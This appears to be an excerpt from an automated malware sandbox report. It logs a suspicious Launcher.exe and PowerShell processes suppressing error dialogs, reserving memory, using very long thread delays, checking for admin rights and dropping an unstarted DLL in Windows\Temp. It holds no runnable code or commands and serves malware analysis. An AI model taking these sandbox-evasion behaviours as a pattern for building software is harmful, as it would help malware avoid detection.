Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\Temp\Launcher.exe	Memory allocated: 5120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Memory allocated: 7AB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Memory allocated: 7500000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4224	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5635	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7996	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1668	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5403	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4346	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Dropped PE file which has not been started: C:\Windows\Temp\iviewers.dll

Jump to dropped file

Source: C:\Windows\Temp\xdnfl52f.civ.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_10-69103
Source: C:\Windows\Temp\Launcher.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_3-7598

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1476	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3732	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
